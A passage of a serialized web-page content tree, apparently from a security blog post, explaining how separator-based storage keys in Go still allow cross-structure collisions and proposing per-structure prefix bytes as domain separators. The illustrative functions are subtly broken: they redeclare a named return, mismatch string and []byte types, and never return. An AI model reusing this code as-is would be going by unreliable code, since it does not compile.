4,"props":86620,"children":86621},{"emptyLinePlaceholder":15},[86622],{"type":28,"value":865},{"type":23,"tag":134,"props":86624,"children":86625},{"class":136,"line":23403},[86626,86630,86634,86638,86642,86646],{"type":23,"tag":134,"props":86627,"children":86628},{"style":162},[86629],{"type":28,"value":86187},{"type":23,"tag":134,"props":86631,"children":86632},{"style":168},[86633],{"type":28,"value":75928},{"type":23,"tag":134,"props":86635,"children":86636},{"style":162},[86637],{"type":28,"value":81746},{"type":23,"tag":134,"props":86639,"children":86640},{"style":179},[86641],{"type":28,"value":720},{"type":23,"tag":134,"props":86643,"children":86644},{"style":264},[86645],{"type":28,"value":84735},{"type":23,"tag":134,"props":86647,"children":86648},{"style":179},[86649],{"type":28,"value":642},{"type":23,"tag":134,"props":86651,"children":86652},{"class":136,"line":23412},[86653,86657],{"type":23,"tag":134,"props":86654,"children":86655},{"style":1461},[86656],{"type":28,"value":86215},{"type":23,"tag":134,"props":86658,"children":86659},{"style":179},[86660],{"type":28,"value":687},{"type":23,"tag":134,"props":86662,"children":86663},{"class":136,"line":31776},[86664,86668],{"type":23,"tag":134,"props":86665,"children":86666},{"style":162},[86667],{"type":28,"value":86227},{"type":23,"tag":134,"props":86669,"children":86670},{"style":179},[86671],{"type":28,"value":687},{"type":23,"tag":134,"props":86673,"children":86674},{"class":136,"line":31797},[86675,86679],{"type":23,"tag":134,"props":86676,"children":86677},{"style":162},[86678],{"type":28,"value":86239},{"type":23,"tag":134,"props":86680,"children":86681},{"style":179},[86682],{"type":28,"value":687},{"type":23,"tag":134,"props":86684,"children":86685},{"class":136,"line":80463},[86686,86690],{"type":23,"tag":134,"props":86687,"children":86688},{"style":162},[86689],{"type":28,"value":86251},{"type":23,"tag":134,"props":86691,"children":86692},{"style":179},[86693],{"type":28,"value":687},{"type":23,"tag":134,"props":86695,"children":86696},{"class":136,"line":80476},[86697,86701],{"type":23,"tag":134,"props":86698,"children":86699},{"style":162},[86700],{"type":28,"value":86239},{"type":23,"tag":134,"props":86702,"children":86703},{"style":179},[86704],{"type":28,"value":687},{"type":23,"tag":134,"props":86706,"children":86707},{"class":136,"line":80484},[86708,86713],{"type":23,"tag":134,"props":86709,"children":86710},{"style":162},[86711],{"type":28,"value":86712},"        addressNameEncoded",{"type":23,"tag":134,"props":86714,"children":86715},{"style":179},[86716],{"type":28,"value":687},{"type":23,"tag":134,"props":86718,"children":86719},{"class":136,"line":80492},[86720],{"type":23,"tag":134,"props":86721,"children":86722},{"style":179},[86723],{"type":28,"value":23409},{"type":23,"tag":134,"props":86725,"children":86726},{"class":136,"line":80500},[86727],{"type":23,"tag":134,"props":86728,"children":86729},{"style":179},[86730],{"type":28,"value":1098},{"type":23,"tag":24,"props":86732,"children":86733},{},[86734,86736,86741],{"type":28,"value":86735},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":92,"props":86737,"children":86739},{"className":86738},[],[86740],{"type":28,"value":84489},{"type":28,"value":86742},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":87,"props":86744,"children":86746},{"code":86745},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[86747],{"type":23,"tag":92,"props":86748,"children":86749},{"__ignoreMap":7},[86750],{"type":28,"value":86745},{"type":23,"tag":24,"props":86752,"children":86753},{},[86754],{"type":28,"value":86755},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":87,"props":86757,"children":86759},{"code":86758,"language":75676,"meta":7,"className":75677,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[86760],{"type":23,"tag":92,"props":86761,"children":86762},{"__ignoreMap":7},[86763,86774,86789,86816,86841,86848,86855,86862,86877,86892,86919,86942,86961,86976,87011,87018,87053,87060,87079,87094,87129,87136,87171,87178,87205,87217,87229,87240,87251,87262,87273,87284,87291,87298,87305,87312,87327,87342,87369,87392,87411,87426,87461,87468,87503,87510,87529,87544,87579,87586,87621,87628,87655,87666,87678,87689,87700,87711,87722,87733,87741],{"type":23,"tag":134,"props":86764,"children":86765},{"class":136,"line":137},[86766,86770],{"type":23,"tag":134,"props":86767,"children":86768},{"style":151},[86769],{"type":28,"value":9119},{"type":23,"tag":134,"props":86771,"children":86772},{"style":179},[86773],{"type":28,"value":78078},{"type":23,"tag":134,"props":86775,"children":86776},{"class":136,"line":147},[86777,86781,86785],{"type":23,"tag":134,"props":86778,"children":86779},{"style":162},[86780],{"type":28,"value":84843},{"type":23,"tag":134,"props":86782,"children":86783},{"style":168},[86784],{"type":28,"value":171},{"type":23,"tag":134,"props":86786,"children":86787},{"style":1461},[86788],{"type":28,"value":84852},{"type":23,"tag":134,"props":86790,"children":86791},{"class":136,"line":185},[86792,86797,86801,86806,86811],{"type":23,"tag":134,"props":86793,"children":86794},{"style":162},[86795],{"type":28,"value":86796},"    PositionMapPrefix",{"type":23,"tag":134,"props":86798,"children":86799},{"style":168},[86800],{"type":28,"value":171},{"type":23,"tag":134,"props":86802,"children":86803},{"style":1461},[86804],{"type":28,"value":86805}," \"",{"type":23,"tag":134,"props":86807,"children":86808},{"style":47878},[86809],{"type":28,"value":86810},"\\x01",{"type":23,"tag":134,"props":86812,"children":86813},{"style":1461},[86814],{"type":28,"value":86815},"\"\n",{"type":23,"tag":134,"props":86817,"children":86818},{"class":136,"line":221},[86819,86824,86828,86832,86837],{"type":23,"tag":134,"props":86820,"children":86821},{"style":162},[86822],{"type":28,"value":86823},"    AddressMapPrefix",{"type":23,"tag":134,"props":86825,"children":86826},{"style":168},[86827],{"type":28,"value":171},{"type":23,"tag":134,"props":86829,"children":86830},{"style":1461},[86831],{"type":28,"value":86805},{"type":23,"tag":134,"props":86833,"children":86834},{"style":47878},[86835],{"type":28,"value":86836},"\\x02",{"type":23,"tag":134,"props":86838,"children":86839},{"style":1461},[86840],{"type":28,"value":86815},{"type":23,"tag":134,"props":86842,"children":86843},{"class":136,"line":332},[86844],{"type":23,"tag":134,"props":86845,"children":86846},{"style":179},[86847],{"type":28,"value":329},{"type":23,"tag":134,"props":86849,"children":86850},{"class":136,"line":438},[86851],{"type":23,"tag":134,"props":86852,"children":86853},{"emptyLinePlaceholder":15},[86854],{"type":28,"value":865},{"type":23,"tag":134,"props":86856,"children":86857},{"class":136,"line":466},[86858],{"type":23,"tag":134,"props":86859,"children":86860},{"emptyLinePlaceholder":15},[86861],{"type":28,"value":865},{"type":23,"tag":134,"props":86863,"children":86864},{"class":136,"line":479},[86865,86869,86873],{"type":23,"tag":134,"props":86866,"children":86867},{"style":151},[86868],{"type":28,"value":75812},{"type":23,"tag":134,"props":86870,"children":86871},{"style":264},[86872],{"type":28,"value":85871},{"type":23,"tag":134,"props":86874,"children":86875},{"style":179},[86876],{"type":28,"value":642},{"type":23,"tag":134,"props":86878,"children":86879},{"class":136,"line":497},[86880,86884,86888],{"type":23,"tag":134,"props":86881,"children":86882},{"style":162},[86883],{"type":28,"value":84759},{"type":23,"tag":134,"props":86885,"children":86886},{"style":597},[86887],{"type":28,"value":75933},{"type":23,"tag":134,"props":86889,"children":86890},{"style":179},[86891],{"type":28,"value":687},{"type":23,"tag":134,"props":86893,"children":86894},{"class":136,"line":518},[86895,86899,86903,86907,86911,86915],{"type":23,"tag":134,"props":86896,"children":86897},{"style":162},[86898],{"type":28,"value":84771},{"type":23,"tag":134,"props":86900,"children":86901},{"style":179},[86902],{"type":28,"value":242},{"type":23,"tag":134,"props":86904,"children":86905},{"style":162},[86906],{"type":28,"value":85252},{"type":23,"tag":134,"props":86908,"children":86909},{"style":179},[86910],{"type":28,"value":75739},{"type":23,"tag":134,"props":86912,"children":86913},{"style":597},[86914],{"type":28,"value":84277},{"type":23,"tag":134,"props":86916,"children":86917},{"style":179},[86918],{"type":28,"value":687},{"type":23,"tag":134,"props":86920,"children":86921},{"class":136,"line":527},[86922,86926,86930,86934,86938],{"type":23,"tag":134,"props":86923,"children":86924},{"style":179},[86925],{"type":28,"value":75894},{"type":23,"tag":134,"props":86927,"children":86928},{"style":162},[86929],{"type":28,"value":71666},{"type":23,"tag":134,"props":86931,"children":86932},{"style":179},[86933],{"type":28,"value":75739},{"type":23,"tag":134,"props":86935,"children":86936},{"style":597},[86937],{"type":28,"value":84277},{"type":23,"tag":134,"props":86939,"children":86940},{"style":179},[86941],{"type":28,"value":14272},{"type":23,"tag":134,"props":86943,"children":86944},{"class":136,"line":780},[86945,86949,86953,86957],{"type":23,"tag":134,"props":86946,"children":86947},{"style":162},[86948],{"type":28,"value":85373},{"type":23,"tag":134,"props":86950,"children":86951},{"style":168},[86952],{"type":28,"value":75928},{"type":23,"tag":134,"props":86954,"children":86955},{"style":264},[86956],{"type":28,"value":85076},{"type":23,"tag":134,"props":86958,"children":86959},{"style":179},[86960],{"type":28,"value":642},{"type":23,"tag":134,"props":86962,"children":86963},{"class":136,"line":797},[86964,86968,86972],{"type":23,"tag":134,"props":86965,"children":86966},{"style":179},[86967],{"type":28,"value":85967},{"type":23,"tag":134,"props":86969,"children":86970},{"style":597},[86971],{"type":28,"value":84277},{"type":23,"tag":134,"props":86973,"children":86974},{"style":179},[86975],{"type":28,"value":687},{"type":23,"tag":134,"props":86977,"children":86978},{"class":136,"line":814},[86979,86983,86987,86991,86995,86999,87003,87007],{"type":23,"tag":134,"props":86980,"children":86981},{"style":162},[86982],{"type":28,"value":85983},{"type":23,"tag":134,"props":86984,"children":86985},{"style":179},[86986],{"type":28,"value":720},{"type":23,"tag":134,"props":86988,"children":86989},{"style":264},[86990],{"type":28,"value":85113},{"type":23,"tag":134,"props":86992,"children":86993},{"style":179},[86994],{"type":28,"value":272},{"type":23,"tag":134,"props":86996,"children":86997},{"style":264},[86998],{"type":28,"value":8601},{"type":23,"tag":134,"props":87000,"children":87001},{"style":179},[87002],{"type":28,"value":272},{"type":23,"tag":134,"props":87004,"children":87005},{"style":162},[87006],{"type":28,"value":84983},{"type":23,"tag":134,"props":87008,"children":87009},{"style":179},[87010],{"type":28,"value":85134},{"type":23,"tag":134,"props":87012,"children":87013},{"class":136,"line":827},[87014],{"type":23,"tag":134,"props":87015,"children":87016},{"style":179},[87017],{"type":28,"value":23409},{"type":23,"tag":134,"props":87019,"children":87020},{"class":136,"line":836},[87021,87025,87029,87033,87037,87041,87045,87049],{"type":23,"tag":134,"props":87022,"children":87023},{"style":162},[87024],{"type":28,"value":85104},{"type":23,"tag":134,"props":87026,"children":87027},{"style":179},[87028],{"type":28,"value":720},{"type":23,"tag":134,"props":87030,"children":87031},{"style":264},[87032],{"type":28,"value":85158},{"type":23,"tag":134,"props":87034,"children":87035},{"style":179},[87036],{"type":28,"value":272},{"type":23,"tag":134,"props":87038,"children":87039},{"style":162},[87040],{"type":28,"value":85067},{"type":23,"tag":134,"props":87042,"children":87043},{"style":179},[87044],{"type":28,"value":242},{"type":23,"tag":134,"props":87046,"children":87047},{"style":162},[87048],{"type":28,"value":84983},{"type":23,"tag":134,"props":87050,"children":87051},{"style":179},[87052],{"type":28,"value":329},{"type":23,"tag":134,"props":87054,"children":87055},{"class":136,"line":859},[87056],{"type":23,"tag":134,"props":87057,"children":87058},{"emptyLinePlaceholder":15},[87059],{"type":28,"value":865},{"type":23,"tag":134,"props":87061,"children":87062},{"class":136,"line":868},[87063,87067,87071,87075],{"type":23,"tag":134,"props":87064,"children":87065},{"style":162},[87066],{"type":28,"value":86068},{"type":23,"tag":134,"props":87068,"children":87069},{"style":168},[87070],{"type":28,"value":75928},{"type":23,"tag":134,"props":87072,"children":87073},{"style":264},[87074],{"type":28,"value":85076},{"type":23,"tag":134,"props":87076,"children":87077},{"style":179},[87078],{"type":28,"value":642},{"type":23,"tag":134,"props":87080,"children":87081},{"class":136,"line":877},[87082,87086,87090],{"type":23,"tag":134,"props":87083,"children":87084},{"style":179},[87085],{"type":28,"value":85967},{"type":23,"tag":134,"props":87087,"children":87088},{"style":597},[87089],{"type":28,"value":84277},{"type":23,"tag":134,"props":87091,"children":87092},{"style":179},[87093],{"type":28,"value":687},{"type":23,"tag":134,"props":87095,"children":87096},{"class":136,"line":946},[87097,87101,87105,87109,87113,87117,87121,87125],{"type":23,"tag":134,"props":87098,"children":87099},{"style":162},[87100],{"type":28,"value":85983},{"type":23,"tag":134,"props":87102,"children":87103},{"style":179},[87104],{"type":28,"value":720},{"type":23,"tag":134,"props":87106,"children":87107},{"style":264},[87108],{"type":28,"value":85113},{"type":23,"tag":134,"props":87110,"children":87111},{"style":179},[87112],{"type":28,"value":272},{"type":23,"tag":134,"props":87114,"children":87115},{"style":264},[87116],{"type":28,"value":8601},{"type":23,"tag":134,"props":87118,"children":87119},{"style":179},[87120],{"type":28,"value":272},{"type":23,"tag":134,"props":87122,"children":87123},{"style":162},[87124],{"type":28,"value":85252},{"type":23,"tag":134,"props":87126,"children":87127},{"style":179},[87128],{"type":28,"value":85134},{"type":23,"tag":134,"props":87130,"children":87131},{"class":136,"line":954},[87132],{"type":23,"tag":134,"props":87133,"children":87134},{"style":179},[87135],{"type":28,"value":23409},{"type":23,"tag":134,"props":87137,"children":87138},{"class":136,"line":984},[87139,87143,87147,87151,87155,87159,87163,87167],{"type":23,"tag":134,"props":87140,"children":87141},{"style":162},[87142],{"type":28,"value":85104},{"type":23,"tag":134,"props":87144,"children":87145},{"style":179},[87146],{"type":28,"value":720},{"type":23,"tag":134,"props":87148,"children":87149},{"style":264},[87150],{"type":28,"value":85158},{"type":23,"tag":134,"props":87152,"children":87153},{"style":179},[87154],{"type":28,"value":272},{"type":23,"tag":134,"props":87156,"children":87157},{"style":162},[87158],{"type":28,"value":85193},{"type":23,"tag":134,"props":87160,"children":87161},{"style":179},[87162],{"type":28,"value":242},{"type":23,"tag":134,"props":87164,"children":87165},{"style":162},[87166],{"type":28,"value":85252},{"type":23,"tag":134,"props":87168,"children":87169},{"style":179},[87170],{"type":28,"value":329},{"type":23,"tag":134,"props":87172,"children":87173},{"class":136,"line":992},[87174],{"type":23,"tag":134,"props":87175,"children":87176},{"emptyLinePlaceholder":15},[87177],{"type":28,"value":865},{"type":23,"tag":134,"props":87179,"children":87180},{"class":136,"line":1024},[87181,87185,87189,87193,87197,87201],{"type":23,"tag":134,"props":87182,"children":87183},{"style":162},[87184],{"type":28,"value":86187},{"type":23,"tag":134,"props":87186,"children":87187},{"style":168},[87188],{"type":28,"value":75928},{"type":23,"tag":134,"props":87190,"children":87191},{"style":162},[87192],{"type":28,"value":81746},{"type":23,"tag":134,"props":87194,"children":87195},{"style":179},[87196],{"type":28,"value":720},{"type":23,"tag":134,"props":87198,"children":87199},{"style":264},[87200],{"type":28,"value":84735},{"type":23,"tag":134,"props":87202,"children":87203},{"style":179},[87204],{"type":28,"value":642},{"type":23,"tag":134,"props":87206,"children":87207},{"class":136,"line":1032},[87208,87213],{"type":23,"tag":134,"props":87209,"children":87210},{"style":1461},[87211],{"type":28,"value":87212},"        \"%s%d%s%s%s%s\"",{"type":23,"tag":134,"props":87214,"children":87215},{"style":179},[87216],{"type":28,"value":687},{"type":23,"tag":134,"props":87218,"children":87219},{"class":136,"line":1092},[87220,87225],{"type":23,"tag":134,"props":87221,"children":87222},{"style":162},[87223],{"type":28,"value":87224},"        PositionMapPrefix",{"type":23,"tag":134,"props":87226,"children":87227},{"style":179},[87228],{"type":28,"value":687},{"type":23,"tag":134,"props":87230,"children":87231},{"class":136,"line":8508},[87232,87236],{"type":23,"tag":134,"props":87233,"children":87234},{"style":162},[87235],{"type":28,"value":86227},{"type":23,"tag":134,"props":87237,"children":87238},{"style":179},[87239],{"type":28,"value":687},{"type":23,"tag":134,"props":87241,"children":87242},{"class":136,"line":8526},[87243,87247],{"type":23,"tag":134,"props":87244,"children":87245},{"style":162},[87246],{"type":28,"value":86239},{"type":23,"tag":134,"props":87248,"children":87249},{"style":179},[87250],{"type":28,"value":687},{"type":23,"tag":134,"props":87252,"children":87253},{"class":136,"line":8571},[87254,87258],{"type":23,"tag":134,"props":87255,"children":87256},{"style":162},[87257],{"type":28,"value":86251},{"type":23,"tag":134,"props":87259,"children":87260},{"style":179},[87261],{"type":28,"value":687},{"type":23,"tag":134,"props":87263,"children":87264},{"class":136,"line":8677},[87265,87269],{"type":23,"tag":134,"props":87266,"children":87267},{"style":162},[87268],{"type":28,"value":86239},{"type":23,"tag":134,"props":87270,"children":87271},{"style":179},[87272],{"type":28,"value":687},{"type":23,"tag":134,"props":87274,"children":87275},{"class":136,"line":22988},[87276,87280],{"type":23,"tag":134,"props":87277,"children":87278},{"style":162},[87279],{"type":28,"value":86274},{"type":23,"tag":134,"props":87281,"children":87282},{"style":179},[87283],{"type":28,"value":687},{"type":23,"tag":134,"props":87285,"children":87286},{"class":136,"line":23023},[87287],{"type":23,"tag":134,"props":87288,"children":87289},{"style":179},[87290],{"type":28,"value":23409},{"type":23,"tag":134,"props":87292,"children":87293},{"class":136,"line":23031},[87294],{"type":23,"tag":134,"props":87295,"children":87296},{"style":179},[87297],{"type":28,"value":1098},{"type":23,"tag":134,"props":87299,"children":87300},{"class":136,"line":23039},[87301],{"type":23,"tag":134,"props":87302,"children":87303},{"emptyLinePlaceholder":15},[87304],{"type":28,"value":865},{"type":23,"tag":134,"props":87306,"children":87307},{"class":136,"line":23048},[87308],{"type":23,"tag":134,"props":87309,"children":87310},{"emptyLinePlaceholder":15},[87311],{"type":28,"value":865},{"type":23,"tag":134,"props":87313,"children":87314},{"class":136,"line":23090},[87315,87319,87323],{"type":23,"tag":134,"props":87316,"children":87317},{"style":151},[87318],{"type":28,"value":75812},{"type":23,"tag":134,"props":87320,"children":87321},{"style":264},[87322],{"type":28,"value":86318},{"type":23,"tag":134,"props":87324,"children":87325},{"style":179},[87326],{"type":28,"value":642},{"type":23,"tag":134,"props":87328,"children":87329},{"class":136,"line":23123},[87330,87334,87338],{"type":23,"tag":134,"props":87331,"children":87332},{"style":162},[87333],{"type":28,"value":84759},{"type":23,"tag":134,"props":87335,"children":87336},{"style":597},[87337],{"type":28,"value":75933},{"type":23,"tag":134,"props":87339,"children":87340},{"style":179},[87341],{"type":28,"value":687},{"type":23,"tag":134,"props":87343,"children":87344},{"class":136,"line":23131},[87345,87349,87353,87357,87361,87365],{"type":23,"tag":134,"props":87346,"children":87347},{"style":162},[87348],{"type":28,"value":84771},{"type":23,"tag":134,"props":87350,"children":87351},{"style":179},[87352],{"type":28,"value":242},{"type":23,"tag":134,"props":87354,"children":87355},{"style":162},[87356],{"type":28,"value":86353},{"type":23,"tag":134,"props":87358,"children":87359},{"style":179},[87360],{"type":28,"value":75739},{"type":23,"tag":134,"props":87362,"children":87363},{"style":597},[87364],{"type":28,"value":84277},{"type":23,"tag":134,"props":87366,"children":87367},{"style":179},[87368],{"type":28,"value":687},{"type":23,"tag":134,"props":87370,"children":87371},{"class":136,"line":23139},[87372,87376,87380,87384,87388],{"type":23,"tag":134,"props":87373,"children":87374},{"style":179},[87375],{"type":28,"value":75894},{"type":23,"tag":134,"props":87377,"children":87378},{"style":162},[87379],{"type":28,"value":71666},{"type":23,"tag":134,"props":87381,"children":87382},{"style":179},[87383],{"type":28,"value":75739},{"type":23,"tag":134,"props":87385,"children":87386},{"style":597},[87387],{"type":28,"value":84277},{"type":23,"tag":134,"props":87389,"children":87390},{"style":179},[87391],{"type":28,"value":14272},{"type":23,"tag":134,"props":87393,"children":87394},{"class":136,"line":23148},[87395,87399,87403,87407],{"type":23,"tag":134,"props":87396,"children":87397},{"style":162},[87398],{"type":28,"value":85373},{"type":23,"tag":134,"props":87400,"children":87401},{"style":168},[87402],{"type":28,"value":75928},{"type":23,"tag":134,"props":87404,"children":87405},{"style":264},[87406],{"type":28,"value":85076},{"type":23,"tag":134,"props":87408,"children":87409},{"style":179},[87410],{"type":28,"value":642},{"type":23,"tag":134,"props":87412,"children":87413},{"class":136,"line":23224},[87414,87418,87422],{"type":23,"tag":134,"props":87415,"children":87416},{"style":179},[87417],{"type":28,"value":85967},{"type":23,"tag":134,"props":87419,"children":87420},{"style":597},[87421],{"type":28,"value":84277},{"type":23,"tag":134,"props":87423,"children":87424},{"style":179},[87425],{"type":28,"value":687},{"type":23,"tag":134,"props":87427,"children":87428},{"class":136,"line":23257},[87429,87433,87437,87441,87445,87449,87453,87457],{"type":23,"tag":134,"props":87430,"children":87431},{"style":162},[87432],{"type":28,"value":85983},{"type":23,"tag":134,"props":87434,"children":87435},{"style":179},[87436],{"type":28,"value":720},{"type":23,"tag":134,"props":87438,"children":87439},{"style":264},[87440],{"type":28,"value":85113},{"type":23,"tag":134,"props":87442,"children":87443},{"style":179},[87444],{"type":28,"value":272},{"type":23,"tag":134,"props":87446,"children":87447},{"style":264},[87448],{"type":28,"value":8601},{"type":23,"tag":134,"props":87450,"children":87451},{"style":179},[87452],{"type":28,"value":272},{"type":23,"tag":134,"props":87454,"children":87455},{"style":162},[87456],{"type":28,"value":84983},{"type":23,"tag":134,"props":87458,"children":87459},{"style":179},[87460],{"type":28,"value":85134},{"type":23,"tag":134,"props":87462,"children":87463},{"class":136,"line":23265},[87464],{"type":23,"tag":134,"props":87465,"children":87466},{"style":179},[87467],{"type":28,"value":23409},{"type":23,"tag":134,"props":87469,"children":87470},{"class":136,"line":23273},[87471,87475,87479,87483,87487,87491,87495,87499],{"type":23,"tag":134,"props":87472,"children":87473},{"style":162},[87474],{"type":28,"value":85104},{"type":23,"tag":134,"props":87476,"children":87477},{"style":179},[87478],{"type":28,"value":720},{"type":23,"tag":134,"props":87480,"children":87481},{"style":264},[87482],{"type":28,"value":85158},{"type":23,"tag":134,"props":87484,"children":87485},{"style":179},[87486],{"type":28,"value":272},{"type":23,"tag":134,"props":87488,"children":87489},{"style":162},[87490],{"type":28,"value":85067},{"type":23,"tag":134,"props":87492,"children":87493},{"style":179},[87494],{"type":28,"value":242},{"type":23,"tag":134,"props":87496,"children":87497},{"style":162},[87498],{"type":28,"value":84983},{"type":23,"tag":134,"props":87500,"children":87501},{"style":179},[87502],{"type":28,"value":329},{"type":23,"tag":134,"props":87504,"children":87505},{"class":136,"line":23310},[87506],{"type":23,"tag":134,"props":87507,"children":87508},{"emptyLinePlaceholder":15},[87509],{"type":28,"value":865},{"type":23,"tag":134,"props":87511,"children":87512},{"class":136,"line":23323},[87513,87517,87521,87525],{"type":23,"tag":134,"props":87514,"children":87515},{"style":162},[87516],{"type":28,"value":86510},{"type":23,"tag":134,"props":87518,"children":87519},{"style":168},[87520],{"type":28,"value":75928},{"type":23,"tag":134,"props":87522,"children":87523},{"style":264},[87524],{"type":28,"value":85076},{"type":23,"tag":134,"props":87526,"children":87527},{"style":179},[87528],{"type":28,"value":642},{"type":23,"tag":134,"props":87530,"children":87531},{"class":136,"line":23336},[87532,87536,87540],{"type":23,"tag":134,"props":87533,"children":87534},{"style":179},[87535],{"type":28,"value":85967},{"type":23,"tag":134,"props":87537,"children":87538},{"style":597},[87539],{"type":28,"value":84277},{"type":23,"tag":134,"props":87541,"children":87542},{"style":179},[87543],{"type":28,"value":687},{"type":23,"tag":134,"props":87545,"children":87546},{"class":136,"line":23349},[87547,87551,87555,87559,87563,87567,87571,87575],{"type":23,"tag":134,"props":87548,"children":87549},{"style":162},[87550],{"type":28,"value":85983},{"type":23,"tag":134,"props":87552,"children":87553},{"style":179},[87554],{"type":28,"value":720},{"type":23,"tag":134,"props":87556,"children":87557},{"style":264},[87558],{"type":28,"value":85113},{"type":23,"tag":134,"props":87560,"children":87561},{"style":179},[87562],{"type":28,"value":272},{"type":23,"tag":134,"props":87564,"children":87565},{"style":264},[87566],{"type":28,"value":8601},{"type":23,"tag":134,"props":87568,"children":87569},{"style":179},[87570],{"type":28,"value":272},{"type":23,"tag":134,"props":87572,"children":87573},{"style":162},[87574],{"type":28,"value":86353},{"type":23,"tag":134,"props":87576,"children":87577},{"style":179},[87578],{"type":28,"value":85134},{"type":23,"tag":134,"props":87580,"children":87581},{"class":136,"line":23403},[87582],{"type":23,"tag":134,"props":87583,"children":87584},{"style":179},[87585],{"type":28,"value":23409},{"type":23,"tag":134,"props":87587,"children":87588},{"class":136,"line":23412},[87589,87593,87597,87601,87605,87609,87613,87617],{"type":23,"tag":134,"props":87590,"children":87591},{"style":162},[87592],{"type":28,"value":85104},{"type":23,"tag":134,"props":87594,"children":87595},{"style":179},[87596],{"type":28,"value":720},{"type":23,"tag":134,"props":87598,"children":87599},{"style":264},[87600],{"type":28,"value":85158},{"type":23,"tag":134,"props":87602,"children":87603},{"style":179},[87604],{"type":28,"value":272},{"type":23,"tag":134,"props":87606,"children":87607},{"style":162},[87608],{"type":28,"value":86603},{"type":23,"tag":134,"props":87610,"children":87611},{"style":179},[87612],{"type":28,"value":242},{"type":23,"tag":134,"props":87614,"children":87615},{"style":162},[87616],{"type":28,"value":86353},{"type":23,"tag":134,"props":87618,"children":87619},{"style":179},[87620],{"type":28,"value":329},{"type":23,"tag":134,"props":87622,"children":87623},{"class":136,"line":31776},[87624],{"type":23,"tag":134,"props":87625,"children":87626},{"emptyLinePlaceholder":15},[87627],{"type":28,"value":865},{"type":23,"tag":134,"props":87629,"children":87630},{"class":136,"line":31797},[87631,87635,87639,87643,87647,87651],{"type":23,"tag":134,"props":87632,"children":87633},{"style":162},[87634],{"type":28,"value":86187},{"type":23,"tag":134,"props":87636,"children":87637},{"style":168},[87638],{"type":28,"value":75928},{"type":23,"tag":134,"props":87640,"children":87641},{"style":162},[87642],{"type":28,"value":81746},{"type":23,"tag":134,"props":87644,"children":87645},{"style":179},[87646],{"type":28,"value":720},{"type":23,"tag":134,"props":87648,"children":87649},{"style":264},[87650],{"type":28,"value":84735},{"type":23,"tag":134,"props":87652,"children":87653},{"style":179},[87654],{"type":28,"value":642},{"type":23,"tag":134,"props":87656,"children":87657},{"class":136,"line":80463},[87658,87662],{"type":23,"tag":134,"props":87659,"children":87660},{"style":1461},[87661],{"type":28,"value":87212},{"type":23,"tag":134,"props":87663,"children":87664},{"style":179},[87665],{"type":28,"value":687},{"type":23,"tag":134,"props":87667,"children":87668},{"class":136,"line":80476},[87669,87674],{"type":23,"tag":134,"props":87670,"children":87671},{"style":162},[87672],{"type":28,"value":87673},"        AddressMapPrefix",{"type":23,"tag":134,"props":87675,"children":87676},{"style":179},[87677],{"type":28,"value":687},{"type":23,"tag":134,"props":87679,"children":87680},{"class":136,"line":80484},[87681,87685],{"type":23,"tag":134,"props":87682,"children":87683},{"style":162},[87684],{"type":28,"value":86227},{"type":23,"tag":134,"props":87686,"children":87687},{"style":179},[87688],{"type":28,"value":687},{"type":23,"tag":134,"props":87690,"children":87691},{"class":136,"line":80492},[87692,87696],{"type":23,"tag":134,"props":87693,"children":87694},{"style":162},[87695],{"type":28,"value":86239},{"type":23,"tag":134,"props":87697,"children":87698},{"style":179},[87699],{"type":28,"value":687},{"type":23,"tag":134,"props":87701,"children":87702},{"class":136,"line":80500},[87703,87707],{"type":23,"tag":134,"props":87704,"children":87705},{"style":162},[87706],{"type":28,"value":86251},{"type":23,"tag":134,"props":87708,"children":87709},{"style":179},[87710],{"type":28,"value":687},{"type":23,"tag":134,"props":87712,"children":87713},{"class":136,"line":80540},[87714,87718],{"type":23,"tag":134,"props":87715,"children":87716},{"style":162},[87717],{"type":28,"value":86239},{"type":23,"tag":134,"props":87719,"children":87720},{"style":179},[87721],{"type":28,"value":687},{"type":23,"tag":134,"props":87723,"children":87724},{"class":136,"line":80548},[87725,87729],{"type":23,"tag":134,"props":87726,"children":87727},{"style":162},[87728],{"type":28,"value":86712},{"type":23,"tag":134,"props":87730,"children":87731},{"style":179},[87732],{"type":28,"value":687},{"type":23,"tag":134,"props":87734,"children":87736},{"class":136,"line":87735},60,[87737],{"type":23,"tag":134,"props":87738,"children":87739},{"style":179},[87740],{"type":28,"value":23409},{"type":23,"tag":134,"props":87742,"children":87744},{"class":136,"line":87743},61,[87745],{"type":23,"tag":134,"props":87746,"children":87747},{"style":179},[87748],{"type":28,"value":1098},{"type":23,"tag":24,"props":87750,"children":87751},{},[87752],{"type":28,"value":87753},"We now have a proper example of how to serialize storage keys.",{"type":23,"tag":24,"props":87755,"children":87756},{},[87757,87759,87764],{"type":28,"value":87758},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":23,"tag":92,"props":87760,"children":87762},{"className":87761},[],[87763],{"type":28,"value":66611},{"type":28,"value":87765},", data should still be retrievable through 